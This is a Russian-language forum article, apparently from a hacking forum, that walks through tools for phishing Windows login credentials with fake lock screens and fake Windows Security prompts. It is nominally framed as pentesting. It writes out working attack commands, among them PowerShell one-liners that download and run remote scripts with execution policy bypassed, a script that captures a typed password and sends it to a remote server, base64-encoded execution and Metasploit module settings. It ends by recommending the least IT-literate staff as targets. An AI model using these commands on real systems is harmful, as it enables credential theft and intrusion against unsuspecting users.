• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Фишинг учетных данных Windows

baykal

(L2) cache
Пользователь
Регистрация
16.03.2021
Сообщения
370
Реакции
838
Доступ к учетным данным ОС Windows можно получить через простую подмену экрана блокировки. Рассказываем о популярных программах для таких атак.

С#​

Современные методики пентеста часто базируются на языке программирования C#, поскольку программы на нем могут выполняться через различные фреймворки (Cobalt Strike, Covenant и др.)

1) Утилита The FakeLogonScreen была разработана Arris Huijgen на C# и она не просто подменяет стандартный экран ввода пароля ОС, а делает это, используя параметры стандартного экрана, заданные в системе, что в разы повышает шансы не вызвать у пользователя подозрение и удачно получить его учетные данные для входа в систему.

aevf-wj3yppuqxbhf-b11gy_5vs.jpeg

FakeLogonScreen — запуск

m5azj82uvtkw4pnp2pi8djcgaey.jpeg

FakeLogonScreen — блокировка экрана

При вводе пароля на фейковой странице входа FakeLogonScreen выполнит валидацию учетных данных в AD или локально, чтобы точно определить, верный ли пароль был введен. В дальнейшем пароль будет отображен в консоли пентестера.

kzlmql2s-wjpcfdqnfpjp3otrqi.jpeg

FakeLogonScreen — Ввод учетных данных

Также в состав FakeLogonScreen входит второй вариант исполняемого файла, который сохраняет пойманные учетные данные в файл user.db локально на инфицированной машине. Данный файл может быть просмотрен с помощью команды type:

type C:\Users\testTHUser3\AppData\Local\Microsoft\user.db

26tyapu5mx4rn8yssrtitxhwp7u.jpeg

FakeLogonScreen — сохранение в файл user.db

2) Похожим образом устроена программа SharpLocker, разработанная Matt Pickford. После запуска она также подменяет собой оригинальный экран входа в систему.

jxdz_zrgxaw5cfnfn3k20_q_ekg.jpeg

SharpLocker — блокировка экрана

Каждый введенный пользователем символ перехватывается, пока не будет выявлен весь пароль целиком. Стоит, однако, отметить, что данная утилита не выполняет проверку подлинности пароля и будет снифить все, что пользователь введет в поле пароля.

s0jdqkx49pnhpf8e-mdokz5dz6e.jpeg

SharpLocker — фишинг пароля

Power Shell​

Запросы учетных данных со стороны службы безопасности Windows очень распространены, поскольку ПО в корпоративной среде может регулярно требовать дополнительное подтверждение действий или переавторизацию. Microsoft Outlook, например, один из ярчайших представителей такого ПО, которое постоянно запрашивает у пользователей доменные учетные данные.

1. Утилита, которая маскируется под окно запроса со стороны безопасности Windows называется CredsLeaker. Для ее корректной работы требуется web-сервер, с которого она будет получать все необходимые файлы и куда будет сохранять учетные данные пользователей, а также наличие PowerShell, чтобы отправлять HTTP запросы на свой сервер. Все команды в дальнейшем будут выполнены из имеющегося в составе BAT-файла.

wcdb2yoafjzjjzk1md_7bz2fxxu.jpeg

CredsLeaker — HTTP Delivery

Перед запуском run.bat-файла необходимо внести все необходимые изменения в конфигурационные файлы утилиты. Как только run.bat файл будет запущен, пользователь увидит окно Windows Security с запросом его учетных данных.

ftqqzww9cwjijleaplpd7dyrxnw.jpeg

CredsLeaker — окно фишинга

Окно с запросом исчезнет, только если будут введены валидные учетные данные пользователя. Домен, имя компьютера, имя пользователя и пароль будут сохранены в файле creds.txt по указанному ниже пути:

/var/www/html/creds.txt

fjtytd2w3a5dun2ekzbo1fdeiki.jpeg

CredsLeaker — вывод в файл creds.txt

2. Matt Nelson разработал PowerShell скрипт, который вызывает окно запроса учетных данных Windows Security с последующей проверкой их валидности. Данное окно также не может быть закрыто пользователем, пока не будут введены актуальные учетные данные. Этот скрипт может быть выполнен удаленно, а введенные учетные данные будут отображены в консоли на машине «злоумышленника»:
Код:
powershell.exe -ep Bypass -c IEX ((New-Object Net.WebClient).DownloadString('http://10.10.0.5/Invoke-LoginPrompt.ps1')); Invoke-LoginPrompt

9tynjp0zcc6rnprvxcffbveg67k.jpeg

Invoke-LoginPrompt — удаленный вызов

spkja8retbg2tyaj8jk7b-mdttu.jpeg

Invoke-LoginPrompt — окно фишинга

3. В составе Nishang framework тоже имеется PowerShell-скрипт, который создает фейковое окно запроса учетных данных пользователя.
Код:
Import-Module C:\Invoke-CredentialsPhish.ps1
Invoke-CredentialsPhish

v6b5qfqe7ux9xzekhcgbmlhvsso.jpeg

Invoke-CredentialsPhish — локальный вызов и окно фишинга

Сгенерированное окно будет содержать информацию о том, что на выполнение данного действия требуется подтверждение в виде ввода учетных данных. Более опытные в плане ИБ пользователи могут заподозрить, что данное окно вызвано запуском некоего приложения в фоне, однако в корпоративной сети далеко не все могут обладать этими знаниями. Учетные данные, которые пользователь введет в диалоговом окне, будут отображены в консоли.

rfmilb8rthg4bpbpdgfwa92_xe0.jpeg

Invoke-CredentialsPhish — вывод собранных данных

Данный скрипт также может быть запущен удаленно:
Код:
powershell.exe -ep Bypass -c IEX ((New-Object Net.WebClient).DownloadString('http://10.10.0.5/Invoke-CredentialsPhish.ps1)); Invoke-CredentialsPhish
Rob Fuller в своем блоге описал атаку по фишингу учетных данных пользователя с использованием Metasploit и PowerShell. Metasploit Framework располагает в своем составе модулями, которые могут захватывать учетные данные пользователей из различных протоколов (FTP, SMB, HTTP и др.). Указанный ниже модуль используется для развертывания базового HTTP сервера с аутентификацией:
Код:
use auxiliary/server/capture/http_basic
set URIPATH /
PowerShell применяется для проведения атаки по фишингу учетных данных пользователя посредством генерации окна запроса Windows Security с последующей передачей собранных учетных данных на HTTP сервер, созданный ранее через Metasploit:
Код:
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName);[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$wc = new-object net.webclient;
$wc.Headers.Add("User-Agent","Wget/1.9+cvs-stable (Red Hat modified)");
$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy;
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
$wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, '');
$result = $wc.downloadstring('http://10.10.0.5/');
Для изначального захвата учетных данных требуется использовать кодировку UTF-16LE с последующим конвертированием в Base64:
Код:
cat popup.txt | iconv -t UTF-16LE
cat popup.txt | iconv -t UTF-16LE | base64 -w0

kbk8bffjzxhqsf146xfeyg1uaty.jpeg

Конвертация кода в Base64

Выполнение указанного кода, локально или удаленно, приводит к появлению у пользователя окна запроса на авторизацию якобы со стороны Windows Security.
Код:
powershell.exe -ep bypass -enc <base64>

dgjiuc2_v-smcu8ib6xkqvpw8by.jpeg

Окно фишинга учетных данных

Модуль Metasploit получит учетные данные сразу после ввода со стороны пользователя.

7uzqsdfxalyeonwipazstyqs_qs.jpeg

Metasploit HTTP Server — получение учетных данных

Metasploit​

Metasploit Framework имеет в своем составе модуль, способный самостоятельно вызвать фейковое окно с запросом авторизации Windows Security со стороны практически любого процесса в системе. Для корректной работы данного модуля требуется указать рабочую meterpreter сессию и процесс, от имени которого будет вызван фейковый запрос авторизации Windows Security.
Код:
use post/windows/gather/phish_windows_credentials
set SESSION 3
set PROCESS *
run

vh62dbzf-k8xwv5oeuml1qrip9k.jpeg

Metasploit Module — конфигурация

В данном случае символ * указывает модулю, чтобы он выполнял мониторинг всех процессов, которые запущены от имени системы (NT Authority\System), и вызвал диалоговое окно в тот момент, когда в системе будет запущен новый процесс от имени системы.

ykxhqq7-q5uj31w0_ip_gup33j0.jpeg

Metasploit Module — мониторинг по всем процессам

Как только новый процесс запустится, пользователю будет выдано диалоговое окно от имени данного процесса с запросом авторизации для якобы подтверждения дальнейшей работы.

3lpdeeenazcbtc5znbs0lisuyi4.jpeg

Metasploit Module — окно фишинга

Как только пользователь введет учетные данные, они сразу же будут отображены в консоли Metasploit.

_plzh-pkr7thf4ayeeszt8f-jgk.jpeg

Metasploit Module — получение учетных данных

Также данный модуль может быть настроен на ожидание запуска конкретного процесса.

npe_fibkedarbrbglixzppbtg2g.jpeg

Metasploit Module — получение учетных данных через процесс notepad.exe

BASH​

Lockphish — это еще одна утилита, которая способна выполнить фишинговую атаку с подменой окна входа в систему Windows. Темплейт окна входа в систему хранится на PHP-сервере и по умолчанию использует YouTube, чтобы выполнить редирект пользователя после ввода логина и пароля.
Код:
bash lockphish.sh

ze1t5ti-aur00jjhmyizwiblek8.jpeg

LockPhish — запуск

На данном этапе потребуется прибегнуть к помощи социальной инженерии, чтобы заманить пользователя на веб-сайт, где расположены файлы экрана блокировки.

ttaqzew1ai1plezopwjm9xhkrt8.jpeg

LockPhish — скачивание файла

В отличие от всех остальных утилит, расположение элементов на данном экране блокировки может быть не точным, запрос на авторизацию будет выведен от имени Администратора, а не от имени текущего аккаунта пользователя, а внешне окно блокировки стилизовано под Windows 10 Lockscreen. Все это в комплексе может очень сильно насторожить пользователя. Данная утилита также не имеет механизмов валидации введенного пароля.

upm19kykwlb0wbivvaj98dzt36q.jpeg

LockPhish — экран блокировки

После того, как пользователь выполнит ввод учетных данных, будет выполнен редирект на веб-сайт youtube.com.

gbozr7jfz9soaycatokwcgckff8.jpeg

LockPhish — редирект

Учетные данные будут отображены в консоли.

ecdc5yj0-92oy5w5a6w06o8yafk.jpeg

LockPhish — собранные учетные данные

Представленные в статье методы будут эффективны, если пентестеру уже удалось закрепиться в системе (получить стабильную точку входа), но повысить привилегии или получить учетные данные пользователей другим путем не получается. При проведении подобных фишинговых атак, следует очень тщательно подбирать целевую аудиторию. Эффективность будет в разы выше, если целью окажутся наименее IT-грамотные сотрудники организации.

Автор Том Хантер
t.me/tomhunter
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх